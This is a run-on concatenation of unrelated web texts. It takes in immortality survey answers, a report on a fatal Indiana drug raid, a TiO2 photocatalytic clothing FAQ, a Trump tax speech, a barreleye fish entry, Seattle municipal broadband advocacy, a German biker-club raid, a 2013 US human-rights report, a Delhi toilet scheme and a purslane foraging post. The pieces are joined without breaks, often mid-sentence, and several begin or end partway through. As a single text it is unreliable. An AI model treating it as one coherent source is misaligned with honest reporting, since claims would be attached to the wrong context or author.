Low self-esteem/depression as is, I don’t want to make it go on any longer than necessary, but I think it’s great if other people want to extend their lives.
This is an irrelevant question to someone who already understands their immortality.
My biohost would not have much to do past 1000 years. Time to move on then or sooner.
I want to live indefinitely, not immortality.
where the term “painful” could also mean pointless.
Fundamentally it’s pretty selfish… vast use of resources and no thought of future generations.
Don’t like absolutes. Would prefer 300 years at a time
I think immortality is difficult to conceive abstractly, but for now i wish to keep living
I don’t care to watch everything I loved in the past decay and die.
Overpopulation aside, immortality could prove to be a deleterious technology unless the problem of cognitive changes in aging brains are dealt with. Society often makes great leaps forward simply because the older generation retires and gives way to a new generation that is more open to newer or more transgressive ideas.
but i feel being a space pirate i would meet my end sure enough
We have to maintain an evolutionary imperative.
To complete the cycle of my mortal existence.
It’s unlikely to leave me human
Our deepest wants are the product of our evolution; evolution mostly selects against immortals.
I’d rather live until I decide to die, not immortality
the concept of a continious isolated personality will have little meaning, outside of baseline human holdouts, in 200 years time
I want to my body/bodies to be immortal, however, I don’t intend on being aware forever.
It’s not a question of WANT; I’ll live until I can no longer do so.
my civilization would have changed too much, or died out
continue to next host body.
Depending on what technologies of life-extension exist, life may not be worth living forever.
Humanity is limitless, boredom would be irrelevant. If we have the tech to live forever, we should have the tech to cancel neural responses to pain. I could always find a way to destroy myself if I thought otherwise.
vernor vinge says you wouldnt be the same person after long enough if you continue to grow intellectually. and otherwise you would become an automata
Death gives life its value
I would like immortality, but not unconditionally - quality of life is more important than quantity
I don’t create wants where there is a zero probability of success. I reserve the right to want this LATER if and when someone else achieves it. But to want more than 150 when there’s no evidence of the ability for humans to do this is fantasy and wish upon a star stuff.
No reason.
———
Final Note Please leave questions and comments below. I will be on vacation and offline from August 3-12 so my apologies if I don’t respond immediately.
Definitely FINAL NOTE: Thanks once again to Terasem Movement Inc. for their generous support of this project.Howard County Sheriff's Deputy Carl A. Koontz, 27, was shot and killed and Sgt. Jordan F. Buckley, 35, was shot and wounded in a midnight drug raid gone wrong Sunday night in Russiaville, Indiana. The target of the raid, Evan Dorsey, 25, was later found dead of a self-inflicted gunshot wound inside the mobile home that was raided.
According to Drug War Chronicle, which has been tallying deaths directly related to domestic drug law enforcement activities since 2011, the killings bring this year's total to nine. Over the past five years, drug war deaths have occurred at a pace of roughly one a week, and this year so far is right on track.
In this case, they died over a syringe. That's right -- as the Indianapolis Star reported, the deputies were serving an arrest warrant on Dorsey for failure to appear in court over possession of a syringe.
The deputies went to the mobile home where Dorsey was staying shortly after midnight Sunday. According to Howard County Sheriff Steven Rogers, they were part of a team that included sheriff's deputies, Kokomo police officers, and the Russiaville town marshal.
Rogers said officers knocked on the door and announced their presence, but got no answer. He said the deputies "were shot as they entered the home."
Roger's account (or the Star's reporting) doesn't make clear just exactly how officers "entered the home." No one answered the door, so they either just opened it and entered or broke it down and entered. In either case, there were now armed intruders in the residence in the middle of the night. They were met with gunfire from Dorsey.
A SWAT team was called to the scene, but got no response from Dorsey. Two hours later, the SWAT team entered the home and found Dorsey dead of a gunshot wound. An autopsy released Monday described the wound as self-inflicted.
The death of a sheriff's deputy and a citizen in this incident should call into question the decision-making that led to the fatal encounter. Is failure to appear in court for possession of a syringe such a serious offense that it requires a midnight drug raid? In a nation where owning guns is seen as an inalienable right, should police be risking their lives breaking into homes in the night when they could reasonably assume an armed resident might mistake them for intruders? And above all, in retrospect, was it worth it?
While some states have legalized the possession of syringes without a prescription, many continue to criminalize their possession through drug paraphernalia laws. In Indiana, possession of a syringe is a violation of the paraphernalia law, and possession of a syringe with any detectable amount of an illicit drug exposes carriers to drug possession charges.The City of Hamilton appears to be trying to clean up the appearance of the neighbourhood surrounding Tim Hortons field for the Pan Am games.
Jennifer Johnson got an order 3 days ago that says if she doesn’t cut her lawn and put away tables, chairs and garbage, she could be charged for failing to comply with a yard maintenance bylaw and be fined up to $50 000. Johnson says they’ve lived here for 3 years |
notice that it’s easier breathe when photocatalytic products are used.
19. Is it measurable?
Yes (see above)
20. How has the technology been applied to the first generation products: Herself, and Field of Jeans?
The TiO2 was sprayed on to the garments.
21. What is the Herself dress made of? What are the blue parts - they look like paint?
The fabric of the dress is coated with titania loaded cement and the blue colour is dye.
22. What pollutants can the chemical absorb?
Nothing is absorbed but the photocatalyst causes oxidation of substances adsorbed on the surface. Nitrous oxide is converted to soluble nitrate and volatile organics are converted into fatty acids and soaps.
23. How much air space can they purify? (Or a quantifiable measurement of how much air is purified)
The air (or the dress) have to be moving - if they are moving quickly enough then 1 square meter of coated fabric can take out 0.5 g of NOx per day.
24. Does the Herself dress have catalytic nano particles or is it a photocatalyst? Can we get a clarification on the process, which pollutants break down? Does this mean that the dress only works in daylight?
The nanoparticles on the dress are a photocatalyst. The size of the particles is important. The coating only works in the presence of light and oxygen. It doesn't need to be sunlight - interior lights work too.
25. Will all pollutants become instantly broken down or will some remain?
Not all pollutants are broken down and some remain.
26. Will there be any build up of Tio2 in the water supply?
Particles that escape the washing machine will enter the waste water system. TiO2 is an inert, white mineral, and only an effective photocatalyst when it is in the form of nanoparticles that can see light. Any escaping particles are most likely in a mass or group already and will definitely form into groups in the water treatment process, aided by its flocculation process. (The flocculation process forms or causes to form substances into small clumps or masses, - a process, which helps to remove "solids"). Some water treatment systems use UV but these are not widespread. Any titania below a couple of mm of water won't be particularly active because the UV level will be low as will the Oxygen concentration, in other words because it is too dark there will be little catalytic activity. Any TiO2, which enters the waste water system, will be minimal and harmless and will be extracted by the flocculation process as described above.President Donald Trump continued his mission to promote tax reform, vowing to fight Democrats and Republicans in Congress to get it done.
“We are going to fight, and we are going to get those Republicans and maybe a few of those Democrats to raise their hand, and you’re going to have so much money to spend,” Trump said.
He explained that he wanted to eliminate the tax penalty on returning business earnings back to the United States.
“We will eliminate the penalty on returning future earnings back to the United States,” Trump said. “And we will impose a one-time low tax on money currently parked overseas so it can be brought back home to America — where it belongs.”
Trump cited his Council of Economic Advisors suggesting that the change plus a lower tax rate would likely give the typical American household a $4,000 pay raise.
He repeated much of the speech he delivered weeks ago in Indiana, touting tax rates of 12 percent, 25 percent, and 35 percent for different income brackets. He also pointed to his wish for the $24,000 of earnings for a married couple to remain tax-free.
Trump said that he wanted his tax plan to help the middle class, recalling an event with the New England Patriots at the White House with Robert Kraft.
“He said, ‘Donald, I know you’re very soon going to be doing tax reform and tax cuts. Give it to the middle class. Don’t give it to us,” Trump said, relating his advice. “That’s what we are trying so hard to do.”
Trump recognized the members of Congress who attended his speech, but warned them that they had better deliver a good bill.
“Our great congressmen, congresswomen, all the people that we’re working with, all I can say is, you better get it passed,” he said.Macropinna microstoma is the only species of fish in the genus Macropinna, belonging to the Opisthoproctidae, the barreleye family. It is recognized for a highly unusual transparent, fluid-filled dome on its head, through which the lenses of its eyes can be seen. The eyes have a barrel shape and can be rotated to point either forward or straight up, looking through the fish's transparent dome.[1] M. microstoma has a tiny mouth and most of its body is covered with large scales. The fish normally hangs nearly motionless in the water, at a depth of about 600 metres (2,000 ft) to 800 metres (2,600 ft), using its large fins for stability and with its eyes directed upward. In the low light conditions it is assumed the fish detects prey by its silhouette. MBARI researchers Bruce Robison and Kim Reisenbichler observed that when prey such as small fish and jellyfish are spotted, the eyes rotate like binoculars, facing forward as it turns its body from a horizontal to a vertical position to feed. Robison speculates that M. microstoma steals food from siphonophores.[2]
M. microstoma has been known to science since 1939, but is not known to have been photographed alive until 2004. Old drawings do not show the transparent dome, as it is usually destroyed when brought up from the depths.AFTER
The 23-year-old seized this opportunity to look more put together at her internship. "I've been wanting to try red lips, but I could not find a color that looked good with my skin tone," she says. "I like that this one is blood red and not at all orange or pink." She also loves her new spiral curls, although she was apprehensive at first. "I was like, 'I'm going to look crazy,' but I like them." Lipstick and curling irons aside, the mother of two young girls is most impressed by how the makeover makes her feel. "It used to be that when I got frustrated, I would tend to give up, but today feels like the culmination of a lot of hard work," says Xrist. "Now I know that if I do keep going, I can reach my goals."Upgrade Seattle has spent the past few years creating awareness for a new city-owned utility. But there has been little movement toward making it a reality.
Devin Glaser with Upgrade Seattle says that now is an opportunity to get momentum going in order for Seattle to start its own internet utility.
“Next year, it’s going to be a mayoral election,” Glaser told KIRO Radio’s Dave Ross. “People who are passionate about this issue, and who no longer want to feel like they have to use Comcast or CenturyLink or they want a better deal, they can bring that up during the mayoral election.”
Related: How to combine bike sharing and municipal broadband into one effort
“Mayor Ed Murray has already started running his reelection campaign, this is a good opportunity to talk with him about it,” he said.
Upgrade Seattle’s case for public internet
But why a city-owned utility when companies are already providing the service?
“We see internet availability similar to electricity, water or the postal service,” Glaser said. “It’s becoming crucial to day-to-day life. Whether it’s looking for work. Doing work, school work, etcetera. We really can’t go without it.”
“It should be a public utility,” he said. “We would like to see the city treat it like that. This goes beyond the noble idea that things you need should be utilities. Small towns have already done this, and they’ve been very successful.”
Upgrade Seattle argues that by making the internet a publicly-owned utility, it could level the field for internet throughout the area by making the market competitive, while also creating new avenues to internet access for those who currently don’t have it. Glaser said about 15 percent of Seattle households — about 93,000 — have no internet access. That’s either because there is no access to begin with, or they cannot afford it.
“By making it a public utility, first, it’s just cheaper for everybody,” he said. “If you are currently paying for your internet and can kind of afford it, you can have more for less. For those who cannot afford current internet service, they can have discounted rates. If you look at Seattle City Light, they have one rate for people who are doing OK and can afford their bills, and they have a separate rate for people who are having a hard time.”
“The City of Seattle did a study on this last year and found that we could provide a gigabyte internet for $45 a month,” Glaser said. “That’s about a third the price the private sector charges.”
Glaser argues that private utilities can put up large sums of money into their infrastructure and that basically pushes out any competing companies. Internet providers, therefore, do not compete in a free market.
“Comcast, CenturyLink, and other telecommunications companies have actively worked to fight the free market,” Glaser alleges. “They have inserted different laws in state legislatures across the country making it harder for public utilities to compete.”
Upgrade Seattle said that a public internet utility evens the playing field for internet service, while also making the service local. Glaser points to dealing with Comcast customer service as an example.
“Comcast, at the end of the day, doesn’t care about Seattle,” he said. “They like that we keep paying for them. But because there is no real alternative, we’ll continue to have to stick with them.”
The recent lawsuit against Comcast could be another argument for municipal broadband. Washington state Attorney General Bob Ferguson recently announced the lawsuit, which alleges that Comcast engaged in “deceptive practices” that Ferguson says cost its customers more than $70 million. Essentially, Comcast convinced customers to pay into a $5-per-month protection plan that had significant limitations.
But convincing the Seattle City Council that municipal broadband is a necessary next step might be difficult. After all, the council wouldn’t even OK a $5 million pilot program for municipal broadband. That was justified by the council, however, by a study that found the project would cost up to $665 million.By Gangsters Inc. Editors
A force of over 1500 police officers raided fifty residences and club houses of members of Turkish-German outlaw motorcycle club Osmanen Germania Boxclub this morning. The operation marks the latest in a rising trend of police crackdowns on outlaw biker gangs in Europe.
It didn’t take authorities long to take measures against the Osmanen Germania Boxclub. Founded just last year, the club is a newcomer to the world of outlaw bikers. Made up entirely of Turkish-German members, they rose to become a factor in Germany despite the dominant presence of rival – more established - clubs like Hells Angels, Bandidos, and Satudarah.
This morning, around 6 am, investigators were looking for firearms, documents, computers, and drugs related to alleged illegal dealings by members of Osmanen Germania Boxclub. An official told newspaper Bild, “Authorities are aware of the fact that members of Osmanen Germania Boxclub maintain close contacts with the Turkish intelligence service. There is a danger that weapons that fall under the War Weapons Control Law (for example machine guns) could be used to the detriment of Kurdish opponents on federal territory.”
European authorities are taking a zero-tolerance approach to outlaw biker gangs in recent years. Notorious clubs like the Bandidos, Mongols, and Satudarah have rapidly expanded their presence in several countries, causing tensions between them and the clubs that are already present.
In the Netherlands, the Bandidos recently founded their first chapter. A few hours later, the home of the new chapter’s president was hit with a grenade, followed by several more attacks – allegedly carried out by the Hells Angels, who said they felt provoked.
In April of this year, the Hells Angels were involved in a bloody fight that turned into a brazen shootout with members of the Mongols motorcycle club at a hotel in the city of Rotterdam. One man was seriously wounded in the melee. 23 men were arrested.
The current violence, as well as the clubs’ history of violence, caused 75 Dutch mayors, last week, to call for the prohibition of outlaw motorcycle clubs in the Netherlands, making it illegal to be a member of so-called one-percenter biker clubs. Eight mayors said they had been threatened by outlaw motorcycle clubs.
Get the latest on organized crime and the Mafia at Gangsters Inc.'s news section.
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Copyright © Gangsters Inc.Google began integrating the Waze community’s accident, construction and road closure intelligence into Google Maps apps for Android and iOS, but there is a glaring omission — notifications about police speed traps.
Conservative-minded Google confirms that Waze users’ alerts that a cop car is a mile up ahead, either out in the open or hidden, did not make the final cut in the integration of Google’s $1 billion Waze acquisition.
This real-time, on-the-road intelligence from Waze users, pointing to disabled vehicles on the shoulder, traffic ahead, a downpour, and the presence of radar-wielding cops is one of the most attractive aspects of Waze.
However, as a grown-up public company, Google apparently didn’t want to punch the ticket, and chance getting on the wrong side (or right side, depending on your perspective) of the law.The United States has a vibrant civil society and media that enjoy strong constitutional protections. Yet its rights record is marred by abuses related to criminal justice, immigration, national security, and drug policy. Within these areas, victims are often the most vulnerable members of society: racial and ethnic minorities, immigrants, children, the elderly, the poor, and prisoners.
Revelations in 2013 of extensive government surveillance and aggressive prosecutions of whistleblowers raised concerns about infringement of privacy rights and freedom of expression, generating a firestorm of international protest against US practices.
Federal policymakers proposed reforms to harmful longstanding immigration and sentencing laws and policies. The outcome of these initiatives was uncertain at time of writing.
A renewed commitment by President Barack Obama to close the Guantanamo Bay detention facility remained unfulfilled. Lack of transparency made it impossible to assess the implementation of promised reforms to the practice of “targeted killings” abroad, including through use of unmanned aerial drones; new information on individual strikes found instances of violations of international humanitarian and human rights law.
Harsh Sentencing
The US has the largest reported incarcerated population in the world, and by far the highest rate of imprisonment, holding 2.2 million people in adult prisons or jails as of year-end 2011.
Mass incarceration reflects three decades of harsh state and federal sentencing regimes, including increased use of life and life without parole sentences, high mandatory minimum sentences, and “three strikes” laws. The Sentencing Project reported that one in nine US prisoners are serving a life sentence.
The growing number of elderly prisoners poses a serious challenge to correctional authorities: as of 2011, the latest year for which complete numbers are available, 26,136 persons aged 65 and older were incarcerated in state and federal prisons, up 62 percent in five years.
In a positive step, the US Department of Justice in August announced revisions to its rules for reviewing requests for compassionate release of elderly or disabled prisoners, making more federal inmates eligible for this rarely used mechanism.
Also in August, US Attorney General Eric Holder instructed federal prosecutors to try to avoid charges carrying mandatory minimum sentences for certain low-level, nonviolent drug offenders. Though welcome, this policy change still leaves many drug offenders subject to disproportionately long mandatory sentences. Legislative efforts to grant judges more discretion in such cases are under debate.
In 2013, Maryland joined 17 other states and the District of Columbia in abolishing the death penalty, but 32 states still allow it. At time of writing, 34 people had been executed in the US in 2013. North Carolina repealed its 2009 Racial Justice Act, which allowed death row prisoners to appeal their sentences on the basis of racial discrimination.
Racial Disparities in Criminal Justice
Whites, African Americans, and Latinos have comparable rates of drug use but are arrested, prosecuted, and incarcerated for drug offenses at vastly different rates. For example, African Americans are nearly four times more likely to be arrested for marijuana possession than whites, even though their rates of marijuana use are roughly equivalent. While only 13 percent of the US population, African Americans represent 41 percent of state prisoners, and 44 percent of federal prisoners serving time for drug offenses.
Because they are disproportionately likely to have criminal records, members of racial and ethnic minorities are more likely than whites to experience stigma and legal discrimination in employment, housing, education, public benefits, jury service, and the right to vote.
In August, a federal court found that the “stop and frisk” policy of the New York City Police Department (NYPD) violated the rights of minorities. A disproportionate share of people “stopped and frisked” under the policy are African American or Latino, and the New York Civil Liberties Union reports that 89 percent of those stopped are innocent of any wrongdoing. The NYPD appealed the ruling.
Drug Policy Reform
In recent decades the US has spent hundreds of billions of dollars to arrest and incarcerate drug offenders in the US. Its heavy reliance on criminal laws for drug control has had serious human rights costs, including infringement of the autonomy and privacy rights of those who simply possess or use drugs.
In a welcome shift, the US Department of Justice announced in August that it would not interfere with states’ legalization of marijuana so long as states comply with certain federal priorities, such as prohibiting sale of drugs to children or transport of drugs across state lines. It also noted that a robust state regulatory approach to marijuana may prevent organized crime from benefiting from the illicit marijuana trade.
Washington and Colorado moved forward with implementation of state ballot initiatives to legalize the recreational use of marijuana, as well as to regulate its production, sale, and distribution. Twenty other US states have legalized marijuana for medical purposes.
Prison Conditions
September 2013 marked the 10-year anniversary of the passage of the Prison Rape Elimination Act (PREA), which resulted in the development of national standards to detect, prevent, and punish prison rape. Implementation remains a challenge: approximately 4 percent of state and federal prison inmates and 3 percent of jail inmates report having experienced one or more incidents of sexual abuse in 2011-2012, and many incidents continue to go unreported. Transgender prisoners continue to experience high levels of violence in detention.
Many prisoners and jail inmates—including youth under age 18—are held in solitary confinement, often for weeks or months on end. In July, an estimated 30,000 inmates in California’s prison system engaged in a hunger strike to protest conditions, including the use of solitary confinement. Prolonged solitary confinement is considered ill-treatment under international law and can amount to torture.
Poverty and Criminal Justice
Poor defendants across the country languish in pretrial detention because they are too poor to post bail. The most recent data indicates 60 percent of jail inmates—at a cost of $9 billion a year—are confined pending trial, often because they lack the financial resources to secure their release. In 2013, the chief judge of New York supported legislative reforms that would begin to reduce the pretrial incarceration of indigent defendants.
Extremely high court fees and surcharges are also increasingly common, as cash-strapped counties and municipalities often expect their courts to pay for themselves or even tap them as sources of public revenue. The impact on poor defendants is particularly harsh.
Practices that exacerbate and even punish economic hardship are increasingly common. In Arkansas, tenants who fall behind on their rent face criminal prosecution. In states across the US, courts put hundreds of thousands of misdemeanor offenders on probation with private, for-profit companies that charge local authorities nothing for their services but collect tens of millions of dollars in fees each year from the offenders they supervise.
In August, a decade after a group of inmates’ families filed a petition challenging the exorbitant rates charged for interstate jail and prison phone calls, the Federal Communications Commission (FCC) voted to cap the cost of the calls.
In cities throughout the US, homeless people are targeted and arrested under laws that prohibit loitering, sitting, and occupying public space.
Youth in the Criminal Justice System
In nearly all US jurisdictions, substantial numbers of youth offenders are tried in adult court and sentenced to serve time in adult jails and prisons.
The widespread practice of sentencing youth offenders to life without the possibility of parole is changing as states grapple with how to comply with recent US Supreme Court decisions. Separate decisions have held that the sentence cannot ever be mandatory for youth offenders, nor can it be imposed on youth offenders convicted of non-homicide crimes. The Supreme Court has not yet abolished application of the sentence to juveniles, however, and youth offenders continue to receive life without parole sentences for homicide crimes. In 2012, Human Rights Watch reported that of 500 youth offenders serving life without parole, nearly every one reported physical violence or sexual abuse by inmates or corrections officers.
Youth are also sentenced to other extreme prison terms that are the functional equivalent of life without parole because the sentence exceeds an average lifespan. In September 2013, California passed a law creating a review process for youth sentenced to adult prison terms, requiring the parole board to provide a meaningful opportunity for release based on the diminished culpability of youth as compared to adults. In many cases this will mean earlier release.
Federal law requires jurisdictions to register juveniles convicted of certain sexual offenses on a national, publicly accessible online registry. Registration impacts youth offenders’ access to education, housing, and employment.
The Rights of Noncitizens
There are approximately 25 million noncitizens in the US, nearly 12 million of whom are in the country without authorization.
The vast network of immigration detention centers in the US now holds about 400,000 noncitizens each year. At any given time, hundreds of detainees are held in solitary confinement. In September, US Immigration and Customs Enforcement (ICE) announced it would limit but not ban the use of solitary confinement.
The criminal prosecution of immigration offenses, which historically had been largely dealt with through deportation and other non-criminal sanctions, continues to increase. In 2012, immigration cases constituted 41 percent of all federal criminal cases; illegal reentry is now the most prosecuted federal crime. Many of those prosecuted have minor or no criminal history and have substantial ties to the US such as US citizen family members they were seeking to rejoin when arrested.
In 2013, after years of inaction, the US Congress began debating a major overhaul of the US immigration system. In June, the Senate passed a bill that would create a path to citizenship for millions of unauthorized immigrants and allow for greater consideration of the right to family unity in some deportation decisions. If enacted into law, the bill would better align immigration enforcement and detention practices with human rights requirements, including eliminating a one-year filing deadline for asylum applicants, though it would continue to mandate the automatic deportation of noncitizens with criminal convictions, even for minor offenses. The bill calls for an additional $47 billion to be spent on enforcement efforts along the US-Mexico border, including a major increase in federal prosecutions of immigration offenses and substantial increases in penalties for illegal entry and reentry.
At time of writing, the House of Representatives had not made any serious progress on comprehensive immigration reform.
“Secure Communities” and other federal programs involving local law enforcement agencies continued to play an important role in deportations. The federal government has portrayed these programs as focused on dangerous criminals, but most immigrants deported through Secure Communities are non-criminal or lower level offenders. These programs also exacerbate distrust of police in immigrant communities.
Connecticut and California, along with the cities of Newark and New Orleans, have joined a growing number of states and localities that have placed limits on local law enforcement participation in Secure Communities, largely by declining to hold people without charge for federal immigration authorities if they have no or minor criminal history.
Labor Rights
Hundreds of thousands of children work on American farms. The 1938 Fair Labor Standards Act exempts child farmworkers from the minimum age and maximum hour requirements that apply to other working children. As a result, child farmworkers often work 10 or more hours a day and risk pesticide exposure, nicotine poisoning, heat illness, injuries, life-long disabilities, and death. Seventy-five percent of children under 16 who died from work-related injuries in 2012 worked in agriculture. Federal protections that do exist are often not enforced.
Congress has still not closed a legal loophole allowing children to do hazardous work in agriculture starting at age 16; hazardous work is prohibited in all other jobs until age 18.
Millions of US workers, including parents of infants, are harmed by weak or non-existent laws on paid leave, breastfeeding accommodation, and discrimination against workers with family responsibilities. Inadequate leave contributes to delaying babies’ immunizations, postpartum depression, and other health problems, and causes mothers to stop breastfeeding early. In 2013, several federal bills were introduced to improve national work-family policies; Rhode Island joined California and New Jersey in establishing state paid family leave insurance; and several cities adopted paid sick day laws.
In September, the Obama administration issued a regulation ending the exclusion of certain homecare workers from minimum wage and hour protections. These workers, most of whom are women, including many immigrants and minorities, provide essential services to people with disabilities and the elderly.
Health Policy
Sixteen states have refused to expand Medicaid services under the Affordable Care Act, impeding the right to health for the poor, African Americans, and other groups with limited access to medical care.
HIV infections in the US continue to disproportionately affect minority communities, men who have sex with men, and transgender women. Many states continue to undermine human rights and public health through restrictions on sex education, inadequate legal protections for HIV-positive persons, resistance to harm-reduction programs such as syringe exchanges, and failure to fund HIV prevention and care. Harmful criminal justice measures include laws that target people living with HIV for enhanced penalties and police use of condom possession as evidence of prostitution.
The Rights of Women and Girls
In February, Congress renewed the Violence Against Women Act (VAWA), the primary federal law providing legal protection and services to victims of domestic and sexual violence and stalking. The new law includes enhanced protections for immigrant victims; lesbian, gay, bisexual, and transgender (LGBT) victims; and victims on tribal lands.
In January, a Human Rights Watch report detailed the inadequacy of police response to sexual assaults in the District of Columbia, leading to reforms in that police department’s approach to these cases.
Emergency contraception became available without a doctor’s prescription to customers of all ages in 2013. According to the Guttmacher Institute, states adopted 43 restrictions on access to abortion in the first half of 2013. These restrictions took a variety of forms, including requiring that abortion providers have admitting privileges at local hospitals, that patients undergo pre-abortion ultrasounds, and banning abortion after a specified number of weeks since the woman’s last menstrual period.
In January 2013, the Department of Defense lifted a longstanding ban on women serving in direct combat roles.
Military women and men continue to face high levels of sexual violence. The government estimates that 26,000 sexual assaults took place in the military in 2012, and Defense Department data suggests that 62 percent of those who report such assaults experience retaliation.
Sexual Orientation and Gender Identity
In June, the US Supreme Court invalidated two of the most egregious anti-LGBT initiatives in the country. In United States v. Windsor, the court struck down section 3 of the 1996 Defense of Marriage Act (DOMA), which prohibited federal recognition of state-approved same-sex marriages. In Hollingsworth v. Perry, the court dismissed an appeal by proponents of Proposition 8, a 2008 California state referendum that would have revoked the right of same-sex couples to marry. The court has not yet ruled on the constitutionality of state laws that prohibit same-sex marriage.
Counterterrorism and Surveillance
The indefinite detention without charge or trial of detainees at Guantanamo Bay entered its twelfth year, with 162 detainees remaining at the facility. Eighty-two of them have been cleared for transfer to home or third countries by an inter-agency task force since 2009. Though President Barack Obama renewed his pledge to close the prison at Guantanamo in May, at time of writing his administration had only transferred eight detainees from the facility since 2011. Two of them were repatriated to Algeria in August, and two more were repatriated to Algeria in December.
Early in 2013, several detainees at Guantanamo began a hunger strike; at its peak, 106 reportedly participated in some fashion, with 45 being tube-fed twice a day. Medical and human rights groups wrote letters of protest noting that force-feeding of competent prisoners was a violation of medical ethics and human rights norms.
The administration continued to use fundamentally flawed military commissions at Guantanamo to prosecute detainees. Pre-trial hearings moved slowly in the only two active commission cases: one against five men accused of plotting the September 11, 2001, attacks and another against a man accused of plotting the bombing of the USS Cole in Yemen in October 2000. The commission’s inability to establish rules protecting attorney-client access and communications, among other things, hampered progression of the cases. The prosecution has announced it intends to bring charges against only seven other Guantanamo detainees.
Long after the process was set to begin, the administration began reviewing the cases of Guantanamo detainees not slated for release or facing active charges, an important step towards closing the facility. But guidelines for the reviews fail to safeguard detainees’ basic rights—including access to classified information where such information provides the basis for their detention, the right to be present throughout proceedings, and meaningful access to counsel.
In late 2012, the Senate Select Committee on Intelligence completed a comprehensive study of the CIA’s post-September 11, 2001 secret detention and interrogation program, which ended in 2009. At time of writing, the report remained classified.
In May, President Obama announced a policy for targeted killings abroad requiring that the target be a continuing, imminent threat to US persons and that there should be near certainty that no civilians would be harmed in the strike. President Obama said the US government preference is to detain rather than kill. The full policy remains classified and no information on compliance has been provided. The administration has also not provided the full legal basis for its targeted killings under US and international law.
In August, Secretary of State John Kerry stated that drone strikes in Pakistan would end “very soon,” though he provided no exact timeline.
Classified documents leaked to journalists by former National Security Agency (NSA) contractor Edward Snowden showed that the US has secretly used surveillance powers, granted by Congress to prevent terror attacks, to systematically capture huge streams of data, including emails, Internet searches, phone call information, and other records, from companies and communications nodes located both in the US and abroad, sometimes with the assistance of foreign governments. Most of what it intercepts comes from people not suspected of any wrongdoing, and the government retains substantial amounts of data for various periods of time. Judicial and congressional oversight of the surveillance is minimal and secretive.
People in the US have some legal protection of their privacy interest in the contents of their communications, but not in the “metadata” or details of communications usually shared with companies or other third parties (such as date, time, location, sender, and recipient). US officials assert that collection of communications does not invade privacy until the data is examined, or “queried.” US law on surveillance offers little or no privacy protections for non-Americans outside the United States.
Disclosures in 2013 revealed that US officials may also be systematically undermining international encryption standards and security practices adopted by Internet companies, weakening the online security of all Internet users.
Prosecutors filed charges against Snowden under the Espionage Act. US law does not provide adequate legal protections or defenses for whistleblowers who disclose national security or intelligence information to the public, even on matters of pressing public importance. The Obama administration tried to block attempts by Snowden to obtain asylum in various countries. Snowden ultimately obtained temporary asylum in Russia.
In August, a US court martial sentenced Pfc. Chelsea (previously Bradley) Manning to 35 years in prison on Espionage Act and other charges for leaking hundreds of thousands of secret government records to Wikileaks for publication, including some that showed evidence of wrongdoing or possible war crimes. Before the trial, Manning had already pled guilty to charges amounting to 20 years’ imprisonment.
US Foreign Policy
In January, US lawmakers discussed whether to send military assistance to Syrian opposition forces in that country’s civil war. In February, the administration said that it would begin sending non-lethal aid, including food and medical supplies, to the opposition. In September, the US appeared ready to conduct strikes against Syria in response to the Syrian government’s use of chemical weapons near Damascus that killed more than 300 people. Obama had previously indicated that use of chemical weapons in Syria constituted a “red line” that would prompt US action in the conflict.
Obama sought congressional authorization for US military engagement in Syria, but a United Nations Security Council-supported agreement to place Syria’s chemical weapons under international control indefinitely delayed a congressional vote
Burma became an important part of Obama’s “pivot” toward Asia, with Burma seeking to lessen its reliance on China. The US promoted greater political reform in the country and encouraged US investment in Burma, subject to human rights reporting requirements that went into effect in May. In September, the US restricted military assistance to Burma in light of child soldiers concerns.
Following the July overthrow of President Mohammed Morsi in Egypt, the US condemned the interim military government for declaring a state of emergency and for violations against civilians, including Muslim Brotherhood supporters. In October 2013, the US suspended some military and economic assistance but did so because the interim government was failing to move the country toward democracy, not because of the ongoing abuses or lack of accountability.
The US continued to play a pivotal role in mobilizing the UN Human Rights Council to respond to egregious human rights violations, including in Sri Lanka, Iran, and North Korea.Starting Monday, women and children will no longer have to go looking for public washrooms to relieve themselves after a long day of shopping at South Delhi markets. Simply walking into the nearest restaurant and conveying their need to the staff will make posh toilets accessible to them completely free of cost.
South Delhi Municipal Corporation (SDMC) commissioner Puneet Kumar Goel said that hotels, restaurants and eateries in the area will open their toilets to public use from May 1. However, men have been kept of out of the scheme due to privacy issues cited by various hotel associations.
The move would allow women and children to access washrooms even in five-star hotels of South Delhi, Goel said, adding that the decision was taken on a suggestion from lieutenant governor Anil Baijal.
“We want the hotels and restaurants to take this directive in the right spirit. The facility will be reviewed on the basis of feedback provided by the catering establishments,” said SDMC additional commissioner (health) Meeta Singh.
National Restaurants Association head Riaz Amlani said women and children find it hardest to locate proper washrooms for use. “Security concerns, coupled with the fact that some restaurants and bars don’t allow single males, made us keep men out for now,” Amlani said.
A senior SDMC official said hotel associations were also apprehensive of allowing men because they are more likely to enter drunk. It would not be good for business if such people have to cross paying customers to reach washrooms located at the rear of the establishment, he added.
First Published: Apr 30, 2017 16:24 ISTLast week, I was pruning tomato plants at the farm when I noticed a vaguely familiar plant growing amongst the tomatoes. It had fleshy, succulent, paddle-shaped leaves and thick, reddish stems that crept along the ground. After studying it for a moment, it came to me – purslane! I recognized it from one of my field guides.
Purslane, it turns out, loves rich garden soils, often to farmers’ dismay. But this weed is also a delicious treat.
After confirming my identification with one of the farmers, I started nibbling on the purslane as I trained tomato plants. It had a sweet-sour flavor that reminded me of a very mild green banana and a lovely chewy texture. I liked it so much that I harvested a pound to bring home and experiment with.
Purslane leaves and stems make great additions to salads. You can also saute them or add them to soups, stews, or other vegetable dishes, but be sure not to overcook them – they’ll go slimy on you.
Besides being delicious, purslane has an exceptionally high concentration of alpha-linolenic acid, one of the highly sought-after Omega-3 fatty acids.
Purslane loves hot, humid weather, making it a great vegetable to harvest when your lettuce and salad greens start to look a bit pekid. Young leaves and tender stem tips are the most desirable.
Since purslane is a weed, you can find it popping up just about anywhere. In addition to gardens, you can find purslane in rich bottom-lands, fields, and even in the cracks of your sidewalk! You can also occasionally find it at farmers markets or buy it as a potted plant.
When foraging for purslane, watch out for spurge, a poisonous plant that grows in similar conditions to purslane. Snap a stem to confirm your identification. If there’s white, milky sap inside the stem, you might have picked spurge – discard it. Purslane stems are filled with water. Purslane stems are also thick, while spurge has a wiry stem.
For recipe ideas, try this Purslane and Parsley Salad or this Grilled Zucchini Salad with Purslane and Tomato (both of which are vegan).
Image courtesy of Laurel Fan via a Creative Commons license.President Obama’s gun control policies are so unpopular that he’s taken to openly asking celebrities to pitch his plan to their fans – even sending the exact words they should use.
But when Mike Rowe took to Facebook, it definitely wasn’t what Obama wanted to see.
